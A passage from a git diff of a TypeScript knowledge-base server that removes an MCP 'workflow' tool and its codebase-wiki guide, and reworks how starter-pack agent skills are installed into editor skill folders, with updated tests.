-One page per architectural area (boundaries, layers, subsystems, cross-cutting concerns). Each: a system-context or component \`mermaid\` diagram, the key components (with source references per the convention), and the design decisions behind them. Cross-link the modules and flows each area touches. (At \`depth: tour\`, modules fold into these pages.)
-
-### Phase 4 — Module pages
-
-One page per package/module (skip at \`tour\`; scale sub-module depth by knob). Use the \`module-page\` template: purpose, responsibilities, public API / entry points, **key files** (linked per the convention), dependencies, and the flows it participates in. Cross-link concepts and flows.
-
-### Phase 5 — Flows
-
-Key end-to-end sequences (request lifecycle, build/deploy, a core interaction) as \`mermaid\` sequence or flow diagrams + narrative. At \`exhaustive\`, add a **Failure modes** section per flow. Link every module and concept the flow crosses.
-
-### Phase 6 — Concepts / glossary
-
-Atomic pages for domain terms and core abstractions (one term each): definition, why it matters, where it lives in the code. Keep them small and densely cross-linked so each concept becomes a hub for everywhere it appears. Link concepts from the architecture/module/flow pages that use them.
-
-### Phase 7 — Link-graph activation + audit
-
-1. Confirm **OVERVIEW links every page** (it is the nav hub). Add any missing nav links. This is OVERVIEW's check — it's a *source* (high out-degree), verified by forward links here, not by the \`hubs\` view below.
-2. Run \`links({ kind: ["orphans", "hubs", "dead"] })\`:
- - **orphans** — pages nothing links to. Adopt each by linking it from OVERVIEW or a relevant section page (or, rarely, justify it as intentionally standalone).
- - **hubs** — ranks by *inbound* links. Confirm your **concept/module pages** show up here — that's the signal cross-linking actually happened. Don't expect \`OVERVIEW\`: a freshly authored nav page has almost no inbound links, so it won't appear (and that's correct — its coverage was checked in step 1).
- - **dead** — fix or remove every dead link. (Source-file links don't appear in this graph — only \`.md\`/\`.mdx\` edges are tracked — but they ARE validated by \`brokenLinks\` on each write/edit, per the code-reference rule above.)
-3. Append a \`wiki/log.md\` entry (see *Log discipline*).
-4. Tell the user the wiki is ready and surface the OVERVIEW preview URL.
-
----
-
-## REFRESH mode (re-invoke after code changes)
-
-Incremental by default — don't re-read the whole repo.
-
-1. Read \`source_commit\` + \`profile\` from \`wiki/OVERVIEW.md\` frontmatter. Reuse the profile unless the user changed a knob.
-2. \`exec("git diff --stat <source_commit>..HEAD")\` (or native \`git\`). Inspect the changed paths.
-3. **Map changed code → affected pages.** For each changed package/area, update its module/architecture/flow pages (read the changed source first). Update OVERVIEW only if the structure changed (new package, removed subsystem, new top-level flow).
-4. **Full-regen fallback.** If the diff is large or structural (many packages, a restructure), or git is unavailable / \`source_commit\` is missing, fall back to a full GENERATE pass rather than a partial patch.
-5. **Re-stamp** \`source_commit\` to the new \`git rev-parse HEAD\` and re-run the Phase 7 link-graph audit on the touched pages.
-6. Append a \`wiki/log.md\` refresh entry.
-
----
-
-## Log discipline
-
-\`wiki/log.md\` is an append-only audit trail. Append one dated entry per generation or refresh run (one per run, not per page). Reference touched pages as markdown links so they register in the backlink graph. Entry shape:
-
-\`\`\`markdown
-## YYYY-MM-DD: <generate | refresh>
-
-- Profile: <audience>/<depth>
-- source_commit: <short-sha> (was <prev-sha> on refresh)
-- Coverage: <which sections/packages were written or updated>
-- Pages: [Overview](./OVERVIEW.md), [Server](./modules/server.md), ...
-\`\`\`
-
----
-
-## STOP rules / anti-patterns (load-bearing)
-
-- **Author wiki markdown only through OK \`write\`/\`edit\`** — never native \`Write\`/\`Edit\` (loses attribution, backlinks, live preview). Read source with native tools; write the wiki with OK.
-- **Summarize existing docs, don't duplicate them** — link to \`README\`/\`ARCHITECTURE.md\`; the wiki adds navigation and synthesis, not a copy.
-- **Every source reference points at a file you actually read** — no invented paths or symbols.
-- **Respect the profile** — at \`audience: public\`, never write secrets, internal infra, or ticket/PR numbers; reference code via GitHub URLs (or relative if no remote).
-- **OVERVIEW is the hub** — every page must be reachable from it. Don't leave orphans (Phase 7 catches them).
-- **Don't scaffold folders by hand** — the \`codebase-wiki\` pack already created \`wiki/\` with templates; if it's missing, seed first.
-- **Scale to \`depth\`** — don't write \`guides/\` or per-flow failure modes at \`tour\`; don't fold modules into architecture at \`exhaustive\`.
-- **Refresh is incremental** — diff \`source_commit..HEAD\` and touch only affected pages; full-regen only on large/structural diffs or when git is unavailable.
-
----
-
-## Exit conditions
-
-- **Pack not seeded** — \`wiki/\` layout missing → tell the user to run \`ok seed --pack codebase-wiki\`, then re-invoke. Exit.
-- **Server down** — a \`write\`/\`links\` call reports the server is not running → tell the user to run \`ok start\` and retry. Exit cleanly; re-invoking resumes (already-written pages persist).
-- **User aborts at a ⛔ gate** → exit cleanly, leaving any already-written pages in place.
-- **Empty / unreadable repo** (no source detected in Phase 1) → tell the user there's nothing to document yet. Exit.
-`;
-}
diff --git a/packages/server/src/mcp/tools/workflow.test.ts b/packages/server/src/mcp/tools/workflow.test.ts
deleted file mode 100644
index e6b5ceb25..000000000
--- a/packages/server/src/mcp/tools/workflow.test.ts
+++ /dev/null
@@ -1,97 +0,0 @@
-import { mkdtempSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { join } from 'node:path';
-import { describe, expect, test } from 'vitest';
-import { type Config, ConfigSchema } from '../../config/schema.ts';
-import type { ServerInstance } from './shared.ts';
-import { DESCRIPTION, register } from './workflow.ts';
-
-const BASE_CONFIG: Config = ConfigSchema.parse({});
-
-interface ToolResult {
- content: Array<{ type: 'text'; text: string }>;
- structuredContent?: Record<string, unknown>;
- isError?: boolean;
-}
-type Handler = (args: {
- kind: string;
- source?: string;
- topic?: string;
- cwd?: string;
-}) => Promise<ToolResult>;
-
-function capture(cwd: string): { name: string; handler: Handler } {
- let captured: { name: string; handler: Handler } | undefined;
- const server = {
- registerTool(name: string, _cfg: unknown, handler: Handler) {
- captured = { name, handler };
- },
- } as unknown as ServerInstance;
- register(server, { config: BASE_CONFIG, resolveCwd: async () => cwd });
- if (!captured) throw new Error('not registered');
- return captured;
-}
-
-const cwd = mkdtempSync(join(tmpdir(), 'ok-workflow-test-'));
-const textOf = (r: ToolResult) => r.content.map((c) => c.text).join('\n');
-
-describe('workflow — kind discriminator + per-kind teaching errors', () => {
- test('registers exactly one tool named "workflow"', () => {
- expect(capture(cwd).name).toBe('workflow');
- expect(DESCRIPTION).toContain('ingest');
- expect(DESCRIPTION).toContain('discover');
- expect(DESCRIPTION).toContain('wiki');
- });
-
- test('kind:ingest with source returns the framed ingest plan', async () => {
- const r = await capture(cwd).handler({ kind: 'ingest', source: 'https://example.com/spec' });
- expect(r.isError).toBeFalsy();
- expect(textOf(r)).toContain('Where this fits'); // the workflow frame
- });
-
- test('kind:research with topic returns a plan', async () => {
- const r = await capture(cwd).handler({ kind: 'research', topic: 'rate limiting' });
- expect(r.isError).toBeFalsy();
- expect(textOf(r)).toContain('Where this fits');
- });
-
- test('kind:consolidate with topic returns a plan', async () => {
- const r = await capture(cwd).handler({ kind: 'consolidate', topic: 'rate limiting' });
- expect(r.isError).toBeFalsy();
- expect(textOf(r)).toContain('Where this fits');
- });
-
- test('kind:discover returns the Discover plan', async () => {
- const r = await capture(cwd).handler({ kind: 'discover' });
- expect(r.isError).toBeFalsy();
- expect(textOf(r)).toContain('# Discover');
- expect(r.structuredContent?.previewUrl).toBeNull();
- });
-
- test('kind:wiki returns the Codebase Wiki plan interpolated with contentDir', async () => {
- const r = await capture(cwd).handler({ kind: 'wiki' });
- expect(r.isError).toBeFalsy();
- expect(textOf(r)).toContain('# Codebase Wiki');
- // The guide is interpolated with the resolved content.dir (mirrors discover).
- expect(textOf(r)).toContain('wiki/OVERVIEW.md');
- expect(r.structuredContent?.previewUrl).toBeNull();
- });
-
- test('kind:ingest without source returns a teaching error', async () => {
- const r = await capture(cwd).handler({ kind: 'ingest' });
- expect(r.isError).toBe(true);
- expect(textOf(r)).toContain('requires `source`');
- });
-
- test('kind:research without topic returns a teaching error', async () => {
- const r = await capture(cwd).handler({ kind: 'research' });
- expect(r.isError).toBe(true);
- expect(textOf(r)).toContain('requires `topic`');
- });
-
- test('kind:consolidate without topic returns a teaching error', async () => {
- const r = await capture(cwd).handler({ kind: 'consolidate' });
- expect(r.isError).toBe(true);
- expect(textOf(r)).toContain('requires `topic`');
- });
-});
diff --git a/packages/server/src/mcp/tools/workflow.ts b/packages/server/src/mcp/tools/workflow.ts
deleted file mode 100644
index 816919b33..000000000
--- a/packages/server/src/mcp/tools/workflow.ts
+++ /dev/null
@@ -1,139 +0,0 @@
-/**
- * `workflow` MCP tool — the procedural-guide primers, dispatched on `kind`.
- *
- * Merges the former ingest / research / consolidate / discover tools. Each
- * returns instructional text (a numbered plan), not data; no server connection
- * is needed (discover's Phase 5 link-graph step checks for Hocuspocus itself).
- *
- * Per-`kind` payload:
- * - `ingest` → `source` (required): a URL / file / identifier to capture.
- * - `research` → `topic` (required): the question/topic to investigate.
- * - `consolidate` → `topic` (required): the topic to fold into a canonical doc.
- * - `discover` → (none): extract conventions from an existing repo.
- * - `wiki` → (none): generate / refresh a source-grounded wiki of this
- * codebase (the `codebase-wiki` pack); audience/depth read from the request.
- *
- * `discover` and `wiki` interpolate the resolved `content.dir` into their guide
- * (the others are constants); a missing required arg returns a per-`kind`
- * teaching error.
- */
-import { z } from 'zod';
-import { buildConsolidateBody } from './consolidate-body.ts';
-import { buildDiscoverBody } from './discover-body.ts';
-import { buildIngestBody } from './ingest-body.ts';
-import { buildResearchBody } from './research-body.ts';
-import type { ServerInstance, WorkflowToolDeps } from './shared.ts';
-import {
- buildWorkflowHandler,
- outputSchemaWithText,
- previewUrlOutputField,
- ROUTED_CWD_DESCRIPTION,
- resolveProjectConfigContext,
- textPlusStructured,
- textResult,
-} from './shared.ts';
-import { buildWikiBody } from './wiki-body.ts';
-
-export const DESCRIPTION = [
- 'Procedural guides for the three-layer wiki workflow + brownfield onboarding. Returns a numbered plan (instructional text, not data) — you execute it. Dispatches on `kind`:',
- '',
- '- `kind: "ingest"` — capture an external source (URL or local file) into the KB as raw, verbatim reference material (no analysis). Requires `source`.',
- '- `kind: "research"` — gather sources and write provisional findings for a question. Requires `topic`.',
- '- `kind: "consolidate"` — fold provisional material into a canonical article. Requires `topic`.',
- '- `kind: "discover"` — extract conventions from an existing repo (folder frontmatter + templates + link graph). No payload.',
- '- `kind: "wiki"` — generate (or refresh) a navigable, diagram-rich, source-grounded wiki of this codebase into the `wiki/` knowledge base (the `codebase-wiki` pack). No payload; tune via natural-language `audience`/`depth` in your request.',
- '',
- '**Parameters:**',
- '- `kind` — `ingest` | `research` | `consolidate` | `discover` | `wiki`.',
- '- `source` — Required for `ingest`: the URL / file path / identifier to capture.',
- '- `topic` — Required for `research` / `consolidate`: the topic, question, or anchor URL.',
- '- `cwd` (optional) — Project root (see `cwd` description below).',
-].join('\n');
-
-export function register(server: ServerInstance, deps: WorkflowToolDeps): void {
- // Reuse the workflow-handler frame machinery (orientation block + previewUrl:
- // null) for the three Karpathy-layer kinds; each reads its own arg name.
- const ingest = buildWorkflowHandler('ingest', deps, 'source', buildIngestBody);
- const research = buildWorkflowHandler('research', deps, 'topic', buildResearchBody);
- const consolidate = buildWorkflowHandler('consolidate', deps, 'topic', buildConsolidateBody);
-
- server.registerTool(
- 'workflow',
- {
- description: DESCRIPTION,
- inputSchema: {
- kind: z
- .enum(['ingest', 'research', 'consolidate', 'discover', 'wiki'])
- .describe('Which workflow guide to return.'),
- source: z
- .string()
- .optional()
- .describe('Required for `kind: "ingest"` — the URL / file / identifier to capture.'),
- topic: z
- .string()
- .optional()
- .describe(
- 'Required for `kind: "research"` / `"consolidate"` — the topic / question / anchor URL.',
- ),
- cwd: z.string().optional().describe(ROUTED_CWD_DESCRIPTION),
- },
- outputSchema: outputSchemaWithText({
- previewUrl: previewUrlOutputField.describe(
- 'Always null — a workflow guide is prose, not a previewable document.',
- ),
- }),
- },
- async (args: {
- kind: 'ingest' | 'research' | 'consolidate' | 'discover' | 'wiki';
- source?: string;
- topic?: string;
- cwd?: string;
- }) => {
- switch (args.kind) {
- case 'ingest':
- if (!args.source) {
- return textResult(
- 'Error: workflow({ kind: "ingest" }) requires `source` — the URL / file / identifier to capture. e.g. workflow({ kind: "ingest", source: "https://example.com/spec" }).',
- true,
- );
- }
- return ingest(args);
- case 'research':
- if (!args.topic) {
- return textResult(
- 'Error: workflow({ kind: "research" }) requires `topic` — the question or topic to investigate. e.g. workflow({ kind: "research", topic: "rate-limit strategies" }).',
- true,
- );
- }
- return research(args);
- case 'consolidate':
- if (!args.topic) {
- return textResult(
- 'Error: workflow({ kind: "consolidate" }) requires `topic` — the topic to fold into a canonical article. e.g. workflow({ kind: "consolidate", topic: "rate-limit strategies" }).',
- true,
- );
- }
- return consolidate(args);
- case 'discover': {
- const context = await resolveProjectConfigContext(deps.resolveCwd, deps.config, args.cwd);
- if (!context.ok) return textResult(`Error: ${context.error}`, true);
- return textPlusStructured(buildDiscoverBody(context.config.content.dir), {
- previewUrl: null,
- });
- }
- case 'wiki': {
- // No-arg kind — mirrors discover's ad-hoc resolve + textPlusStructured
- // pattern (it doesn't use the buildWorkflowHandler factory; the factory
- // serves the three arg-bearing Karpathy kinds — see shared.ts).
- const context = await resolveProjectConfigContext(deps.resolveCwd, deps.config, args.cwd);
- if (!context.ok) return textResult(`Error: ${context.error}`, true);
- return textPlusStructured(buildWikiBody(context.config.content.dir), {
- previewUrl: null,
- });
- }
- default:
- return textResult('Error: unknown workflow kind.', true);
- }
- },
- );
-}
diff --git a/packages/server/src/mcp/tools/write.ts b/packages/server/src/mcp/tools/write.ts
index e305e817e..a99188247 100644
--- a/packages/server/src/mcp/tools/write.ts
+++ b/packages/server/src/mcp/tools/write.ts
@@ -8,7 +8,7 @@
* - document → CRDT (`POST /api/agent-write-md`) [Requires: Hocuspocus]
* - folder → `POST /api/create-folder` (mkdir) + `PUT /api/folder-config` frontmatter (attributed) [Requires: Hocuspocus]
* - template → `PUT /api/template` (server, attributed) → `<folder>/.ok/templates/<name>.md`
- * - skill → `PUT /api/skill` (server, attributed) → `.ok/skills/<name>/SKILL.md` (authored via the `skill` target, never a raw `document` path under `.ok/skills/`)
+ * - skill → `PUT /api/skill` (server, attributed) → the skill's bundle dir at the project's default skill home (authored via the `skill` target, never a raw `document` path into a skills folder)
* - asset → multipart `POST /api/upload` [Requires: Hocuspocus]
*
* The "exactly one target" constraint is the one soft constraint the SDK
@@ -92,7 +92,7 @@ const BASE_DESCRIPTION = [
'- `document` — Create or overwrite a doc via the CRDT layer [Requires: Hocuspocus server]. `{ path, content }`, or `{ path, template }` to instantiate from a folder template (mutually exclusive with `content`). Optional `frontmatter` (its own YAML) and `position` (`replace` default for a new doc; required for an existing one) — note supplying `frontmatter` alongside literal `content` forces `position: replace` (the only position that persists a YAML block), overriding an explicit `append`/`prepend`. Example: `{ document: { path: "meetings/standup", content: "# Standup\\n..." } }`.',
'- `folder` — Create a NEW folder (optionally with its own properties) [Requires: Hocuspocus server]. `{ path, frontmatter? }`. To change an EXISTING folder use `edit`. Example: `{ folder: { path: "ideas" } }`.',
'- `template` — Create a reusable starting shape for new docs in a folder. `{ path: "<folder>/<name>", content, frontmatter: { title, description?, tags? } }`.',
- '- `skill` — Create or overwrite an agent SKILL (`.ok/skills/<name>/SKILL.md`): reusable agent guidance you author in OK and `install` into your editors. `{ name, description, body, scope? }`. `name` is the identity (lowercase-hyphen); `description` is the trigger (when to use it). Example: `{ skill: { name: "trip-log", description: "Use when logging a fishing trip.", body: "# Steps\\n..." } }`.',
+ '- `skill` — Create or overwrite an agent SKILL: reusable agent guidance you author in OK and `install` into your editors. A NEW skill lands at the project\'s default skill home (e.g. `.agents/skills/<name>/`); an existing one is edited at its real folder. `{ name, description, body, scope? }`. `name` is the identity (lowercase-hyphen); `description` is the trigger (when to use it). Example: `{ skill: { name: "trip-log", description: "Use when logging a fishing trip.", body: "# Steps\\n..." } }`.',
'- `asset` — Upload a binary (image/file) via the media route [Requires: Hocuspocus server]. `{ path: "<folder>/<file.ext>", content(base64) | source(local path) }`.',
'- `documents` — Batch: `[{ path, content?|template?, frontmatter?, position?, summary? }, ...]` written in order; the response reports each.',
'- `summary` — Optional one-line user-outcome (≤80 chars) for the timeline, for a single `document`/`folder`/`template`/`asset` write. For a `documents` batch, give each entry its own `summary` instead (a top-level `summary` is ignored on the batch path). Avoid secrets or PII — persisted to git history.',
@@ -946,7 +946,7 @@ export function register(server: ServerInstance, deps: WriteDeps): void {
})
.optional()
.describe(
- 'Create or overwrite an agent SKILL bundle (`.ok/skills/<name>/`). SKILL.md is authored via `description`+`body`; `references/**` and `scripts/**` via the `files` array. Example: { skill: { name: "trip-log", description: "Use when logging a fishing trip.", body: "# Steps\\n...", files: [{ path: "references/gear.md", content: "..." }] } }',
+ 'Create or overwrite an agent SKILL bundle (a NEW skill lands at the project\'s default skill home, e.g. `.agents/skills/<name>/`). SKILL.md is authored via `description`+`body`; bundle files (any path — `references/**`, `scripts/**`, `assets/**`, …) via the `files` array. Example: { skill: { name: "trip-log", description: "Use when logging a fishing trip.", body: "# Steps\\n...", files: [{ path: "references/gear.md", content: "..." }] } }',
),
asset: z
.object({
diff --git a/packages/server/src/seed/apply.ts b/packages/server/src/seed/apply.ts
index de3ad280e..35a49f002 100644
--- a/packages/server/src/seed/apply.ts
+++ b/packages/server/src/seed/apply.ts
@@ -1,6 +1,7 @@
import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
-import { resolve } from 'node:path';
-import { installPackSkill } from './install-pack-skill.ts';
+import { join, resolve } from 'node:path';
+import { scanInPlaceSkills } from '../in-place-skills.ts';
+import { installPackSkill, resolvePackSkillSources } from './install-pack-skill.ts';
import { assertEntryPathInProject } from './path-safety.ts';
import { buildStarterFolderFrontmatterYaml, DEFAULT_PACK_ID, resolvePack } from './starter.ts';
import type { ApplyError, ApplyResult, FileEntry, ScaffoldPlan, SeedOptions } from './types.ts';
@@ -142,12 +143,27 @@ export async function applySeed(plan: ScaffoldPlan, opts: SeedOptions = {}): Pro
}
}
- // Author + install the pack's project-local skill (into `.ok/skills/` so it
- // shows in the Skills list + into each set-up editor's host dir). Single site
- // for every seed entry point (CLI / desktop IPC / HTTP), since they all call
- // applySeed. No-op when no editor is set up or the pack ships no skill.
+ // Author + install the pack's project-local skills IN PLACE (the default
+ // skill home — same landing as creates/imports; store retirement) + fan out
+ // to each set-up editor. Single site for every seed entry point (CLI /
+ // desktop IPC / HTTP), since they all call applySeed. No-op when no editor
+ // is set up or the pack ships no skill.
const packSkillsInstalled = await installPackSkill(projectDir, pack.id);
+ // `installPackSkill` logs and skips a skill whose source it could not author,
+ // so a decomposed pack can land some skills and drop others while still
+ // reporting the editors it reached. Surface the gap on the same `errors`
+ // channel as file entries: a partial install must not read as a clean seed.
+ // The skill can live at ANY root under the in-place model — the scan is the
+ // presence truth (a legacy `.ok/skills` resident counts too).
+ const presentNames = new Set(scanInPlaceSkills(projectDir).map((sk) => sk.name));
+ for (const { name } of resolvePackSkillSources(pack.id)) {
+ const inStore = existsSync(join(projectDir, '.ok', 'skills', name, 'SKILL.md'));
+ if (!presentNames.has(name) && !inStore) {
+ errors.push({ path: name, error: 'skill source could not be authored' });
+ }
+ }
+
return {
applied,
errors,
diff --git a/packages/server/src/seed/install-pack-skill.test.ts b/packages/server/src/seed/install-pack-skill.test.ts
index 38e8888d4..612dc7af5 100644
--- a/packages/server/src/seed/install-pack-skill.test.ts
+++ b/packages/server/src/seed/install-pack-skill.test.ts
@@ -8,9 +8,10 @@ import {
} from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
+import { OPENKNOWLEDGE_SKILLS_REPO } from '@inkeep/open-knowledge-core';
import { describe, expect, test } from 'vitest';
import { readInstalledSkills } from '../installed-skills-marker.ts';
-import { installPackSkill } from './install-pack-skill.ts';
+import { installPackSkill, resolvePackSkillSources } from './install-pack-skill.ts';
/** Simulate `ok init` having installed the platform skill for an editor dir. */
function setUpEditor(proj: string, editorDir: string): void {
@@ -24,26 +25,38 @@ function tmpProject(): string {
}
describe('installPackSkill', () => {
- test('authors the pack skill into .ok/skills + installs it for a set-up editor', async () => {
+ test('authors the pack skill IN PLACE at the default home (store retirement)', async () => {
const proj = tmpProject();
setUpEditor(proj, '.claude');
const installed = await installPackSkill(proj, 'knowledge-base');
expect(installed).toEqual(['Claude Code']);
- // (1) Source under `.ok/skills/` — this is what makes it show in the Skills
- // list + be editable (the fork model).
- expect(
- existsSync(join(proj, '.ok', 'skills', 'open-knowledge-pack-knowledge-base', 'SKILL.md')),
- ).toBe(true);
- // (2) Projected into the editor host dir.
+ // The source lands at the project's default skill home (here `.claude/
+ // skills` — the first existing editor root), NOT the retired `.ok/skills`
+ // store. The scan is the host-set truth; no install marker is written.
expect(
existsSync(join(proj, '.claude', 'skills', 'open-knowledge-pack-knowledge-base', 'SKILL.md')),
).toBe(true);
- // (3) marker records it Installed with its hosts — so the list badges
- // it Installed and the Uninstall action can demote it back to a Draft.
- const marker = readInstalledSkills(proj).skills['open-knowledge-pack-knowledge-base'];
- expect(marker).toBeDefined();
- expect(marker?.scope).toBe('project');
- expect(marker?.hosts).toEqual(['claude']);
+ expect(existsSync(join(proj, '.ok', 'skills', 'open-knowledge-pack-knowledge-base'))).toBe(
+ false,
+ );
+ expect(readInstalledSkills(proj).skills['open-knowledge-pack-knowledge-base']).toBeUndefined();
+ });
+
+ test('records skills.sh provenance in .ok/skills-lock.json for reimport', async () => {
+ const proj = tmpProject();
+ setUpEditor(proj, '.claude');
+ await installPackSkill(proj, 'knowledge-base');
+ // Provenance makes a seeded pack update through the SAME reimport path as any
+ // imported skill: deterministic source (the open-knowledge-skills projection),
+ // the skill selector is the skill's own name, plus its content hash.
+ const lock = JSON.parse(readFileSync(join(proj, '.ok', 'skills-lock.json'), 'utf-8')) as {
+ skills: Record<string, { source: string; skill: string; contentHash: string }>;
+ };
+ const entry = lock.skills['open-knowledge-pack-knowledge-base'];
+ expect(entry).toBeDefined();
+ expect(entry.source).toBe(OPENKNOWLEDGE_SKILLS_REPO);
+ expect(entry.skill).toBe('open-knowledge-pack-knowledge-base');
+ expect(entry.contentHash).toMatch(/^[a-f0-9]{64}$/);
});
test('installs for every set-up editor (claude + cursor + codex)', async () => {
@@ -56,8 +69,16 @@ describe('installPackSkill', () => {
'Codex',
'Cursor',
]);
- const marker = readInstalledSkills(proj).skills['open-knowledge-pack-entity-vault'];
- expect(marker?.hosts.sort()).toEqual(['claude', 'codex', 'cursor']);
+ // Source at the default home; real copies fanned to the other editors.
+ expect(
+ existsSync(join(proj, '.claude', 'skills', 'open-knowledge-pack-entity-vault', 'SKILL.md')),
+ ).toBe(true);
+ expect(
+ existsSync(join(proj, '.cursor', 'skills', 'open-knowledge-pack-entity-vault', 'SKILL.md')),
+ ).toBe(true);
+ expect(
+ existsSync(join(proj, '.codex', 'skills', 'open-knowledge-pack-entity-vault', 'SKILL.md')),
+ ).toBe(true);
});
test('installs the codebase-wiki pack skill from the source assets', async () => {
@@ -71,11 +92,43 @@ describe('installPackSkill', () => {
).toBe(true);
});
- test('no-op when no editor is set up (no platform skill present)', async () => {
+ test('a decomposed pack installs its root skill plus every member skill', async () => {
+ // `software-lifecycle` ships an orientation SKILL.md at the pack root plus one
+ // scenario skill per subdirectory. Each installs as its own top-level skill
+ // (name == leaf dir, per the Agent Skills standard).
+ //
+ // Assert against `resolvePackSkillSources` rather than a hardcoded name list:
+ // it probes a co-installed OK Desktop bundle first, so a machine with an older
+ // desktop build resolves a different (possibly not-yet-decomposed) pack. The
+ // invariant under test is "every resolved source installs, and members are not
+ // nested inside the root skill" — not which sources this machine resolves.
const proj = tmpProject();
- // The source is still authored (so it lists), but no editor → no install,
- // no marker. It shows as a Draft.
+ setUpEditor(proj, '.claude');
+ const sources = resolvePackSkillSources('software-lifecycle');
+ expect(sources.length).toBeGreaterThan(0);
+ expect(await installPackSkill(proj, 'software-lifecycle')).toEqual(['Claude Code']);
+
+ for (const { name } of sources) {
+ expect(existsSync(join(proj, '.claude', 'skills', name, 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(proj, '.ok', 'skills', name))).toBe(false);
+ }
+ // The root skill's copy carries no member subdirectory — that would ship each
+ // scenario skill twice, once nested inside a skill that is not its own.
+ const root = sources.find((s) => s.name === 'open-knowledge-pack-software-lifecycle');
+ expect(root).toBeDefined();
+ for (const member of root?.excludeDirs ?? []) {
+ expect(existsSync(join(proj, '.claude', 'skills', root?.name ?? '', member))).toBe(false);
+ }
+ });
+
+ test('no editor set up: the source is still authored at the fallback home', async () => {
+ const proj = tmpProject();
+ // No set-up editor → nothing fanned/labelled, but the source still lands
+ // (default fallback home) so the skill lists for that folder's agent.
expect(await installPackSkill(proj, 'knowledge-base')).toEqual([]);
+ expect(
+ existsSync(join(proj, '.claude', 'skills', 'open-knowledge-pack-knowledge-base', 'SKILL.md')),
+ ).toBe(true);
expect(readInstalledSkills(proj).skills['open-knowledge-pack-knowledge-base']).toBeUndefined();
});
@@ -94,7 +147,7 @@ describe('installPackSkill', () => {
await installPackSkill(proj, 'knowledge-base');
const sourcePath = join(
proj,
- '.ok',
+ '.claude',
'skills',
'open-knowledge-pack-knowledge-base',
'SKILL.md',
@@ -126,8 +179,8 @@ describe('installPackSkill', () => {
writeFileSync(join(outside, 'skills', 'open-knowledge', 'SKILL.md'), '# platform\n');
expect(await installPackSkill(proj, 'knowledge-base')).toEqual([]);
expect(existsSync(join(outside, 'skills', 'open-knowledge-pack-knowledge-base'))).toBe(false);
- // No editor projection happened, so no marker — but the source was still
- // authored into the project's own `.ok/skills/`.
+ // The escaping root is ALSO the would-be default home — the whole install
+ // is refused (never author through an out-of-project symlink).
expect(readInstalledSkills(proj).skills['open-knowledge-pack-knowledge-base']).toBeUndefined();
});
});
diff --git a/packages/server/src/seed/install-pack-skill.ts b/packages/server/src/seed/install-pack-skill.ts
index 2838eae1b..108fb02e4 100644
--- a/packages/server/src/seed/install-pack-skill.ts
+++ b/packages/server/src/seed/install-pack-skill.ts
@@ -1,5 +1,6 @@
/**
- * Install a starter pack's project-local skill (`open-knowledge-pack-<packId>`).
+ * Install a starter pack's project-local skills (`open-knowledge-pack-<packId>`,
+ * plus `…-<packId>-<member>` for a pack decomposed into scenario skills).
*
* Two parts, so a pack skill behaves like any other authored project skill
* (the editable-fork model — a pack initializes a skill once, then it's yours):
@@ -17,19 +18,27 @@
* than the CLI) is why the in-app paths get the pack skill too.
*/
-import { existsSync } from 'node:fs';
-import { join } from 'node:path';
+import { existsSync, readFileSync } from 'node:fs';
+import { dirname, join } from 'node:path';
import {
EDITOR_PROJECT_SKILL_ROOT,
type EditorId,
+ OPENKNOWLEDGE_SKILLS_REPO,
PROJECT_SKILL_EDITOR_IDS,
} from '@inkeep/open-knowledge-core';
-import { resolveBundledSkillDir } from '../build-skill-zip.ts';
-import { tracedCpSync, tracedMkdirSync, tracedRmSync } from '../fs-traced.ts';
-import { recordSkillInstall } from '../installed-skills-marker.ts';
+import {
+ emptySkillsLock,
+ parseSkillDir,
+ parseSkillsLock,
+ SKILLS_LOCK_REL,
+ upsertLockEntry,
+} from '@inkeep/open-knowledge-core/skills-catalog';
+import { tracedCpSync, tracedMkdirSync, tracedRmSync, tracedWriteFileSync } from '../fs-traced.ts';
+import { resolveDefaultSkillHomeRel, scanInPlaceSkills } from '../in-place-skills.ts';
import { getLogger } from '../logger.ts';
import { BUNDLE_SKILL_NAME } from '../skill-bundles.ts';
-import { projectSkill } from '../skill-projection.ts';
+import { listPackSkillSources, type PackSkillSource } from '../skill-pack-sources.ts';
+import { hostSkillsRootEscapes, projectInPlaceSkill } from '../skill-projection.ts';
/**
* Display labels for the editors that keep project-local skills (returned in the
@@ -47,27 +56,18 @@ const PROJECT_SKILL_EDITOR_LABELS: Partial<Record<EditorId, string>> = {
const PLATFORM_SKILL_NAME = BUNDLE_SKILL_NAME.project;
/**
- * Resolve a pack's project-local skill — its `open-knowledge-pack-<id>` name and
- * the bundled source dir — or `null` when the pack ships no skill. Single source
- * for the naming convention + the "does this pack ship a skill?" probe, shared by
- * the installer (below) and the scaffold planner (`planSeed`, which reports a
- * pending skill so a folders-present-but-skill-absent project isn't mistaken for
- * fully set up).
+ * Every project-local skill a pack ships; empty when it ships none. Binds the
+ * seed domain's `checkDesktop:true`, so a co-installed OK Desktop's (possibly
+ * newer) bundle wins. Shared by the installer below and `planSeed`.
*/
-export function resolvePackSkillSource(packId: string): { name: string; sourceDir: string } | null {
- let sourceDir: string;
- try {
- // checkDesktop:true so a co-installed OK Desktop's (possibly newer) bundle wins.
- sourceDir = resolveBundledSkillDir(`packs/${packId}`, { checkDesktop: true });
- } catch {
- return null;
- }
- return { name: `open-knowledge-pack-${packId}`, sourceDir };
+export function resolvePackSkillSources(packId: string): PackSkillSource[] {
+ return listPackSkillSources(packId, { checkDesktop: true });
}
/**
- * Author `packs/<packId>` as a `.ok/skills/` project skill + project it into
- * each set-up editor. Returns the labels of editors the skill was installed for.
+ * Author every skill under `packs/<packId>` as a `.ok/skills/` project skill +
+ * project each into the set-up editors. Returns the labels of editors the pack's
+ * skills were installed for (de-duplicated across skills).
*
* No-op (returns `[]`) when the pack ships no skill. Per-editor failures are
* swallowed so one bad editor dir never blocks the rest or the seed itself.
@@ -81,61 +81,130 @@ export function resolvePackSkillSource(packId: string): { name: string; sourceDi
* + the install marker still refresh every call, so a newly-set-up editor picks
* up an already-authored skill.
*/
-export async function installPackSkill(projectDir: string, packId: string): Promise<string[]> {
- const resolved = resolvePackSkillSource(packId);
- if (!resolved) return [];
- const { name, sourceDir } = resolved;
-
- // (1) Author the editable source under `.ok/skills/` — what makes it show in
- // the Skills list + forkable. Authored ONLY when absent: a present SKILL.md is
- // a (possibly user-edited) fork we must not clobber. The projection + marker
- // steps below still run so re-seed reconciles a new editor without re-copying.
- const okSkillDir = join(projectDir, '.ok', 'skills', name);
